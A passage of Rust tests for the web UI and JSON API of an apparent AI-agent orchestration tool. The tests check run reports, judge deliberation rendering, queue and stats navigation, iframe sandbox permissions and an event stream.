15017 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
15019
15020 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
15022 assert_ne!(bad.status, 200, "{}", bad.body);
15023 assert_eq!(
15024 bad.status,
15025 f.get("/api/runs/20260902-140502-dead/report").await.status
15026 );
15027 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
15028 assert_eq!(
15029 f.get("/api/runs/20260902-999999-ffff/report.json")
15030 .await
15031 .status,
15032 404
15033 );
15034 }
15035
15036 #[tokio::test]
15037 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
15038 crate::run::pin_test_home();
15039 let f = Fixture::start().await;
15040 let id = "20260902-140503-delib";
15041 write_run(&f.runs(), id, RunStatus::Merged);
15042 let path = f.runs().join(id).join("run.json");
15043 let mut v: serde_json::Value =
15044 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
15045 v["judgements"] = serde_json::json!([
15046 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
15047 ]);
15048 v["tally"] = serde_json::json!({
15049 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
15050 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
15051 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
15052 "met_quorum": true, "rankings": 1
15053 });
15054 v["deliberation"] = serde_json::json!([
15055 {
15056 "round": 1,
15057 "turns": [
15058 {
15059 "judge": 1,
15060 "agent": "judge-1",
15061 "body": "I prefer candidate **A** because it has cleaner tests.",
15062 "tentative": "A"
15063 }
15064 ]
15065 },
15066 {
15067 "round": 2,
15068 "turns": [
15069 {
15070 "judge": 1,
15071 "agent": "judge-1",
15072 "body": "Still thinking, no choice yet.",
15073 "tentative": null
15074 }
15075 ]
15076 }
15077 ]);
15078 std::fs::write(&path, v.to_string()).unwrap();
15079
15080 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
15081 assert_eq!(res.status, 200, "{}", res.body);
15082 let j = res.json();
15083 let judging = j["sections"]
15084 .as_array()
15085 .unwrap()
15086 .iter()
15087 .find(|s| s["kind"] == "judging")
15088 .expect("judging section exists");
15089
15090 let delib_lines = judging["deliberation"].as_array().unwrap();
15092 assert_eq!(delib_lines.len(), 2);
15093 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
15094 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
15095
15096 let rounds = judging["rounds"].as_array().unwrap();
15098 assert_eq!(rounds.len(), 2);
15099 let r1_t0 = &rounds[0]["turns"][0];
15100 assert_eq!(r1_t0["judge"], 1);
15101 assert_eq!(r1_t0["agent"], "judge-1");
15102 assert_eq!(r1_t0["tentative"], "A");
15103 assert_eq!(
15104 r1_t0["body"],
15105 "I prefer candidate **A** because it has cleaner tests."
15106 );
15107 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
15108
15109 let r2_t0 = &rounds[1]["turns"][0];
15110 assert_eq!(r2_t0["judge"], 1);
15111 assert_eq!(r2_t0["agent"], "judge-1");
15112 assert!(r2_t0["tentative"].is_null());
15113 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
15114 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
15115
15116 let id_empty = "20260902-140504-nodelib";
15118 write_run(&f.runs(), id_empty, RunStatus::Merged);
15119 let path_empty = f.runs().join(id_empty).join("run.json");
15120 let mut v_empty: serde_json::Value =
15121 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
15122 v_empty["judgements"] = serde_json::json!([
15123 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
15124 ]);
15125 v_empty["deliberation"] = serde_json::json!([]);
15126 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
15127
15128 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
15129 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
15130 let j_empty = res_empty.json();
15131 let judging_empty = j_empty["sections"]
15132 .as_array()
15133 .unwrap()
15134 .iter()
15135 .find(|s| s["kind"] == "judging")
15136 .expect("judging section exists");
15137 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
15138 }
15139
15140 #[tokio::test]
15141 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
15142 let f = Fixture::start().await;
15143
15144 let html = f.get("/").await;
15145 let css = f.get("/app.css").await;
15146 let js = f.get("/app.js").await;
15147
15148 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
15149 assert!(
15150 html.headers
15151 .contains("content-type: text/html; charset=utf-8")
15152 );
15153 assert!(css.headers.contains("content-type: text/css"));
15154 assert!(js.headers.contains("content-type: text/javascript"));
15155 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
15156 }
15157
15158 #[test]
15159 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
15160 let body = |name: &str| {
15161 let at = APP_JS
15162 .find(name)
15163 .unwrap_or_else(|| panic!("{name} missing"));
15164 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
15165 };
15166 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
15167 let note = body("function landRoundNote");
15168 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
15169 assert!(note.contains("Land round ${round}"));
15170 let land = body("function renderLand");
15171 let note_at = land
15172 .find("landRoundNote(pr)")
15173 .expect("renderLand uses the note");
15174 assert!(
15175 note_at
15176 < land
15177 .find("roundRail(pr)")
15178 .expect("renderLand uses the rail")
15179 );
15180 }
15181
15182 #[test]
15183 fn the_runs_page_redesign_keeps_its_guards() {
15184 let body = |name: &str| {
15185 let at = APP_JS
15186 .find(name)
15187 .unwrap_or_else(|| panic!("{name} missing"));
15188 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
15189 };
15190 let land = body("function renderLand");
15192 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
15193 assert!(
15194 !land.contains("box.append("),
15195 "renderLand must use append()"
15196 );
15197 assert!(land.contains("append(box, ["));
15198 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
15200 assert!(
15201 body("function applyRoute")
15202 .contains("route.name !== state.route.name || route.id !== state.route.id")
15203 );
15204 assert!(!APP_JS.contains("adviseConvergeDiagram"));
15206 assert!(!INDEX_HTML.contains("advise-converge"));
15207 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
15208 assert!(APP_JS.contains("provisional"));
15209 for id in [
15210 "run-tab-overview",
15211 "run-tab-timeline",
15212 "run-tab-report",
15213 "run-report",
15214 "runs-scope",
15215 ] {
15216 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
15217 }
15218 assert!(!INDEX_HTML.contains("runs-tree"));
15219 assert!(!INDEX_HTML.contains("run-raw-panel"));
15220 assert!(APP_JS.contains("resume"));
15222 assert!(APP_JS.contains("unreadable"));
15224 }
15225
15226 #[test]
15227 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
15228 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
15229 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
15230 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
15231 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
15232 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
15233 assert!(APP_JS.contains("unreadable` : null"));
15235 }
15236
15237 #[test]
15238 fn blocked_run_detail_exposes_the_failed_gate_reason() {
15239 let mut state = RunState::new(
15240 "/repo".into(),
15241 "main".into(),
15242 "abc".into(),
15243 "task".into(),
15244 crate::config::Config::default(),
15245 );
15246 state.status = RunStatus::Blocked;
15247 state.gate_ran = true;
15248 state.gate.push(crate::run::CommandOutcome {
15249 command: "cargo make check".into(),
15250 code: Some(1),
15251 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
15252 duration_ms: 0,
15253 resource_blocked: false,
15254 });
15255 let view = RunDetailView::of(
15256 state,
15257 false,
15258 crate::run::Liveness::Unknown,
15259 None,
15260 None,
15261 None,
15262 );
15263 let value = serde_json::to_value(view).unwrap();
15264 assert_eq!(
15265 value["stop_reason"],
15266 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
15267 );
15268 }
15269
15270 #[test]
15271 fn the_run_detail_payload_says_whether_the_run_is_done() {
15272 for (status, done) in [
15274 (RunStatus::Superseded, true),
15275 (RunStatus::Blocked, true),
15276 (RunStatus::Landing, false),
15277 ] {
15278 let mut state = RunState::new(
15279 std::path::PathBuf::from("/repo"),
15280 "main".to_owned(),
15281 "abc".to_owned(),
15282 "x".to_owned(),
15283 crate::config::Config::default(),
15284 );
15285 state.status = status;
15286 let v = serde_json::to_value(RunDetailView::of(
15287 state,
15288 false,
15289 crate::run::Liveness::Unknown,
15290 None,
15291 None,
15292 None,
15293 ))
15294 .unwrap();
15295 assert_eq!(v["done"], done, "{status:?}");
15296 }
15297 }
15298
15299 fn has_strong(nodes: &[md::Node]) -> bool {
15301 serde_json::to_string(nodes).unwrap().contains("strong")
15302 }
15303
15304 #[test]
15305 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
15306 let mut state = RunState::new(
15307 std::path::PathBuf::from("/repo"),
15308 "main".to_owned(),
15309 "abc".to_owned(),
15310 "x".to_owned(),
15311 crate::config::Config::default(),
15312 );
15313 let proposal = |approach: &str| {
15314 serde_json::json!({
15315 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
15316 })
15317 };
15318 state.advice = Some(
15319 serde_json::from_value(serde_json::json!({
15320 "records": [
15321 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
15322 "proposal": proposal("do **this**")},
15323 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
15324 ],
15325 "synthesis": "- one\n- **two**\n\n`code`",
15326 }))
15327 .unwrap(),
15328 );
15329 state.candidates = serde_json::from_value(serde_json::json!([
15330 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
15331 "summary": "did **it**"},
15332 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
15333 ]))
15334 .unwrap();
15335 state.reviews = serde_json::from_value(serde_json::json!([{
15338 "round": 1, "head": "h",
15339 "reviews": [{
15340 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
15341 "findings": [
15342 {"severity": "nit", "title": "t1", "detail": "plain nit"},
15343 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
15344 ],
15345 }],
15346 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
15347 "fix": {"agent": "a", "notes": "fixed **it**",
15348 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
15349 }, {"round": 2, "head": "h2", "reviews": []}]))
15350 .unwrap();
15351
15352 let v = serde_json::to_value(RunDetailView::of(
15353 state,
15354 false,
15355 crate::run::Liveness::Unknown,
15356 None,
15357 None,
15358 None,
15359 ))
15360 .unwrap();
15361
15362 let strong = |p: &str| {
15363 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
15364 assert!(n.to_string().contains("strong"), "{p}: {n}");
15365 };
15366 strong("/advice_md/synthesis");
15367 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
15368 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
15369 strong("/advice_md/approaches/0");
15370 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
15371 strong("/candidate_summaries_md/0");
15372 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
15373 strong("/reviews_md/0/reviewers/0/summary");
15374 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
15375 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
15376 assert!(f[1].to_string().contains("strong"));
15377 strong("/reviews_md/0/reconsideration/0");
15378 strong("/reviews_md/0/fix/notes");
15379 strong("/reviews_md/0/fix/rejected/0");
15380 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
15381 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
15382 assert_eq!(v["candidates"][0]["summary"], "did **it**");
15384 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
15385 }
15386
15387 #[test]
15388 fn a_run_without_advice_has_no_advice_md() {
15389 let state = RunState::new(
15390 std::path::PathBuf::from("/repo"),
15391 "main".to_owned(),
15392 "abc".to_owned(),
15393 "x".to_owned(),
15394 crate::config::Config::default(),
15395 );
15396 let p = run_prose_md(&state);
15397 assert!(p.advice_md.is_none());
15398 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
15399 }
15400
15401 #[test]
15402 fn a_question_view_carries_markdown_for_each_thread_turn() {
15403 let home = TempDir::new().unwrap();
15404 let store = ask::Questions::at(home.path().join("questions"));
15405 let mut q = Question::new(
15406 "run".to_owned(),
15407 "implement".to_owned(),
15408 "impl-A".to_owned(),
15409 "which?".to_owned(),
15410 String::new(),
15411 Vec::new(),
15412 );
15413 q.say("plain words").unwrap();
15414 q.reply("use **this**", Vec::new()).unwrap();
15415 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
15416 let bodies = &v["thread_bodies_md"];
15417 assert_eq!(bodies.as_array().unwrap().len(), 2);
15418 assert!(!bodies[0].to_string().contains("strong"));
15419 assert!(bodies[1].to_string().contains("strong"));
15420 }
15421
15422 #[test]
15423 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
15424 let home = TempDir::new().unwrap();
15425 let store = ask::Questions::at(home.path().join("questions"));
15426 let mut q = Question::new(
15427 "run".to_owned(),
15428 "conduct".to_owned(),
15429 "conduct".to_owned(),
15430 "which?".to_owned(),
15431 String::new(),
15432 Vec::new(),
15433 );
15434 q.say("plain words").unwrap();
15435 q.thread.push(ask::Turn {
15436 who: ask::Who::Agent,
15437 body: "Settled as `merge`".to_owned(),
15438 at: jiff::Timestamp::now(),
15439 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
15440 });
15441 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
15442 let notes = &v["thread_notes_md"];
15443 assert_eq!(notes.as_array().unwrap().len(), 2);
15444 assert!(notes[0].is_null());
15445 let text = notes[1].to_string();
15446 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
15447 assert!(APP_JS.contains("ask-turn-note"));
15448 }
15449
15450 #[test]
15451 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
15452 assert!(APP_JS.contains("function landView(run, raw) {"));
15456 assert!(
15457 APP_JS.contains(
15458 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
15459 )
15460 );
15461 assert!(APP_JS.contains("const pr = landView(run, raw);"));
15462 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
15463 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
15464 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
15465 }
15466
15467 #[test]
15468 fn live_runs_are_never_hidden_or_folded_as_superseded() {
15469 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
15470 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
15471 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
15472 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
15473 }
15474
15475 #[test]
15476 fn review_rounds_label_a_distinct_verified_head() {
15477 assert!(APP_JS.contains("round.verified_head"));
15478 assert!(APP_JS.contains("verified HEAD"));
15479 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
15480 }
15481
15482 #[test]
15483 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
15484 assert!(APP_JS.contains("blocked: { glyph:"));
15488 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
15489
15490 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
15494 assert!(
15495 APP_JS.contains(
15496 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
15497 ),
15498 "the note line must name what a blocked task is waiting on, not just that it is blocked"
15499 );
15500 assert!(APP_JS.contains("if (status === \"blocked\") {"));
15504
15505 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
15509 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
15510 assert!(
15511 APP_JS.contains("location.hash = \"#/questions\";"),
15512 "a question node must jump to the Questions screen, not pretend to be a task"
15513 );
15514
15515 assert!(APP_JS.contains("Resolved questions"));
15518 assert!(APP_JS.contains("r.answersList.append("));
15519 assert!(APP_CSS.contains(".task-answers"));
15520 {
15521 let start = APP_JS
15522 .find("function updateTalkTaskRow")
15523 .expect("updateTalkTaskRow");
15524 let body = &APP_JS[start..];
15525 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
15526 assert!(
15527 body.contains(
15528 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
15529 ),
15530 "a chat-filed task row must link to the task page"
15531 );
15532 assert!(
15533 !body.contains("#/runs/") && !body.contains("#/queue/"),
15534 "the row must not branch to a run or the queue card"
15535 );
15536 assert!(APP_CSS.contains(".talk-task-link"));
15537 }
15538 }
15539
15540 #[test]
15541 fn a_task_notification_links_to_the_task_page() {
15542 let start = APP_JS
15544 .find("function noticeLink(")
15545 .expect("noticeLink exists");
15546 let body = &APP_JS[start..];
15547 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
15548 assert!(
15549 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
15550 "a task notice's link must target the task page"
15551 );
15552 assert!(
15553 !body.contains("#/queue/"),
15554 "regression: the task link must not go back to the Backlog route"
15555 );
15556 assert!(
15557 APP_JS.contains(
15558 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
15559 ),
15560 "`#/tasks/<id>` must parse into the task route"
15561 );
15562
15563 assert!(
15565 APP_JS.contains(
15566 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
15567 ),
15568 "`#/queue/<id>` must parse into a route carrying that id"
15569 );
15570
15571 assert!(APP_JS.contains("state.queueFocus = route.id;"));
15575 assert!(APP_JS.contains("function consumeQueueFocus()"));
15576 assert!(APP_JS.contains("jumpToTask(id)"));
15577 }
15578
15579 #[test]
15582 fn chat_rows_put_the_title_alone_on_the_first_line() {
15583 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
15584 assert!(APP_CSS.contains(
15585 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
15586 ));
15587 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
15588 assert!(APP_JS.contains("class: \"badge talk-unread\""));
15589 }
15590
15591 #[test]
15592 fn run_rows_put_the_title_alone_on_the_first_line() {
15593 assert!(
15594 APP_CSS.contains(
15595 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
15596 )
15597 );
15598 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
15599 assert!(APP_JS.contains("class: \"card run-card\""));
15600 assert!(APP_JS.contains("class: \"repo run-id\""));
15601 }
15602
15603 #[test]
15607 fn wide_screens_show_list_and_preview_side_by_side() {
15608 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
15610 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
15611 assert!(APP_CSS.contains("main[data-split]"));
15612 assert!(APP_CSS.contains("body[data-split]"));
15613
15614 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
15616 assert!(
15617 APP_JS.contains(
15618 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
15619 )
15620 );
15621 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
15622 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
15623 assert!(INDEX_HTML.contains("id=\"split-empty\""));
15624
15625 assert!(APP_JS.contains("function markSelected() {"));
15627 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
15628 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
15629 assert!(
15631 APP_CSS.contains(
15632 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
15633 )
15634 );
15635
15636 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
15638 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
15639 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
15640 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
15641
15642 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
15646 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
15647 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
15648 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
15649
15650 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
15652 }
15653
15654 #[test]
15655 fn panel_sandbox_carries_exactly_popups() {
15656 let needle = "sandbox: \"";
15657 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
15658 assert_eq!(
15659 matches.len(),
15660 1,
15661 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
15662 );
15663 let start = matches[0].0 + needle.len();
15664 let end = APP_JS[start..]
15665 .find('"')
15666 .expect("sandbox attribute value must be terminated by a closing quote");
15667 let val = &APP_JS[start..start + end];
15668 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
15669 let expected: std::collections::BTreeSet<&str> =
15670 ["allow-popups", "allow-popups-to-escape-sandbox"]
15671 .into_iter()
15672 .collect();
15673 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
15674 assert!(
15675 !tokens.contains("allow-scripts"),
15676 "allow-scripts must never be present in sandbox"
15677 );
15678 assert!(
15679 !tokens.contains("allow-same-origin"),
15680 "allow-same-origin must never be present in sandbox"
15681 );
15682 }
15683
15684 #[test]
15685 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
15686 assert!(
15695 APP_JS.contains(
15696 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
15697 ),
15698 "the search-clearing branch must run before state.queueFocus is cleared, or the \
15699 recursive renderQueue() call has nothing left to jump to"
15700 );
15701 assert!(
15702 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
15703 "state.queueFocus must be cleared only once the jump has landed, so a card that \
15704 arrives later still gets it"
15705 );
15706 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
15707 assert!(APP_JS.contains("is not in the current Backlog."));
15708 assert!(APP_JS.contains("li.card[data-task-id=\""));
15709 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
15710 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
15711 assert!(APP_CSS.contains(".card-permalink"));
15712 assert!(APP_CSS.contains(".queue-focus-status"));
15713 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
15714 }
15715
15716 #[test]
15717 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
15718 assert!(
15726 APP_JS.contains(
15727 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
15728 ),
15729 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
15730 );
15731 }
15732
15733 #[test]
15734 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
15735 assert!(
15736 APP_JS.contains("round.verified_head !== round.head"),
15737 "a round that verified an earlier commit must be visibly distinct from one that \
15738 verified the head reviewers are looking at now"
15739 );
15740 assert!(
15741 APP_JS.contains("round.verified_at"),
15742 "when a check ran must be on the wire, not just which commit"
15743 );
15744 assert!(
15745 APP_JS.contains("resource_blocked"),
15746 "a command magi never got to run (shared build cache contention) must not render \
15747 the same as a command that ran and failed"
15748 );
15749 }
15750
15751 #[test]
15752 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
15753 assert!(
15761 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
15762 "every KPI tile built through statusTile() must route its click through \
15763 openRunsFiltered, the single place that sets the Runs filter"
15764 );
15765 for (label, status) in [
15766 ("Merged", "merged"),
15767 ("Ready", "ready"),
15768 ("Blocked", "blocked"),
15769 ("Stalled", "stalled"),
15770 ] {
15771 let call = format!("statusTile(\"{label}\", t.{status}, ");
15772 assert!(
15773 APP_JS.contains(&call),
15774 "expected the {label} KPI tile built via {call}..."
15775 );
15776 assert!(
15777 APP_JS.contains(&format!("status === \"{status}\"")),
15778 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
15779 compare a run against, not one invented only for the stats tile"
15780 );
15781 }
15782 assert!(
15783 APP_JS.contains("function openRunsFiltered(status)"),
15784 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
15785 );
15786 assert!(
15787 APP_JS.contains(
15788 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
15789 ),
15790 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
15791 );
15792 assert!(
15800 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
15801 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
15802 hashchange event that may never fire"
15803 );
15804 }
15805
15806 #[test]
15807 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
15808 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
15814 assert!(
15815 APP_JS.contains(
15816 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
15817 ),
15818 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
15819 guard for an incompatible tree section"
15820 );
15821 }
15822
15823 #[test]
15824 fn every_stats_queue_tile_names_a_real_queue_section() {
15825 assert!(
15831 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
15832 "every queue tile built through sectionTile() must route its click through \
15833 openQueueSectionFocus"
15834 );
15835 for key in ["upnext", "running", "done", "held", "blocked"] {
15836 assert!(
15837 APP_JS.contains(&format!("{{ key: \"{key}\",")),
15838 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
15839 );
15840 }
15841 for line in [
15845 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
15846 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
15847 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
15848 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
15849 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
15850 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
15851 ] {
15852 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
15853 }
15854 }
15855
15856 #[test]
15857 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
15858 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
15865 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
15866 assert!(APP_JS.contains("function revealQueueSection(details)"));
15867 assert!(
15868 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
15869 "renderQueue() must consume both focus channels on every pass"
15870 );
15871 assert!(
15872 APP_JS.contains(
15873 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
15874 ),
15875 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
15876 the recursive renderQueue() call has nothing left to reveal"
15877 );
15878 assert!(
15879 APP_JS.contains(
15880 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
15881 ),
15882 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
15883 );
15884 assert!(
15892 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
15893 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
15894 hashchange event that may never fire"
15895 );
15896 }
15897
15898 #[tokio::test]
15899 async fn the_change_stream_announces_the_current_revisions_on_connect() {
15900 let f = Fixture::start().await;
15901
15902 let mut socket = tokio::net::TcpStream::connect(f.addr)
15903 .await
15904 .expect("connect");
15905 socket
15906 .write_all(
15907 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
15908 )
15909 .await
15910 .expect("write request");
15911
15912 let mut seen = String::new();
15915 let mut buf = [0u8; 1024];
15916 while !seen.contains("event: change") {
15917 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
15918 .await
15919 .expect("the stream must speak within five seconds")
15920 .expect("read");
15921 assert!(read > 0, "the server closed the change stream: {seen}");
15922 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
15923 }
15924
15925 assert!(
15926 seen.to_lowercase()
15927 .contains("content-type: text/event-stream"),
15928 "the browser only reconnects automatically for a real SSE stream: {seen}"
15929 );
15930 let data = seen
15931 .lines()
15932 .find_map(|l| l.strip_prefix("data:"))
15933 .expect("a data line");
15934 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
15935 assert!(
15936 payload["queue_rev"].is_u64()
15937 && payload["runs_rev"].is_u64()
